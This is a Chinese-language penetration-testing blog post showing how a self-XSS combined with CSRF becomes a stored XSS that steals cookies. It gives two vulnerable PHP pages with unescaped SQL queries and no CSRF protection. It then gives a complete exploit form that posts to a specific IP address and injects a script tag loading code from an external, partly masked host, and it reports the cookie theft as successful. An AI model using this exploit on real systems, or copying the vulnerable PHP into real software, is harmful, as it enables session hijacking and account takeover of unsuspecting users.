SelfXss+CSRF組合拳
網絡安全自學篇-滲透測試(隨筆一)
網絡安全自學篇-滲透測試(隨筆二)
selfxss就是隻能對本地客戶端產生影響的跨站腳本攻擊,舉例簡單來說就是像獲取到的cookie是自己的,顯然這並沒有什麼實際危害,但是一旦結合跨站請求僞造則會導致危害升級,並且成爲存儲型的跨站腳本攻擊。
這裏我做了個更改用戶名的案例:
change1.php:
<?php
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysql_connect("localhost","root","root");
mysql_select_db("csrf",$conn);
$sql = "SELECT username FROM user WHERE id=1;";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)) {
echo "當前用戶名:".$row['username']."\n";
$_SESSION['username'] = $row['username'];
}
echo '<form action="change.php" method="post">
用戶名:<input type="text" name="username"><br >
<input type="submit" name="submit" value="修改用戶名">';
change.php
<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['username'])) {
echo '<script>alert("請重新登錄!")</script>';
exit();
}else{
$username = $_POST['username'];
$conn = mysql_connect("localhost","root","root");
mysql_select_db("csrf",$conn);
$sql = "UPDATE user SET username='$username' WHERE username=username;";
$result = mysql_query($sql);
if($result) {
echo '<script>alert("修改用戶名成功!")</script>';
include("change1.php");
}else{
echo '<script>alert("修改用戶名失敗!")</script>';
}
}
首先我們打開change1.php
觀察該頁面可以看到修改用戶名模塊,嘗試XSS,發現只是一個selfxss
由源代碼可以知道該頁面沒有防止csrf,因此可以通過selfxss+csrf來擴大危害,也可從請求包看出
EXP如下:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://114.116.231.250/change.php" method="POST">
<input type="hidden" name="username" value="<sCRiPt sRC=https://******/ZSeF></sCrIpT>" />
<input type="hidden" name="submit" value="修改用户名" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
誘使用戶點擊
成功取到cookie並且是存儲型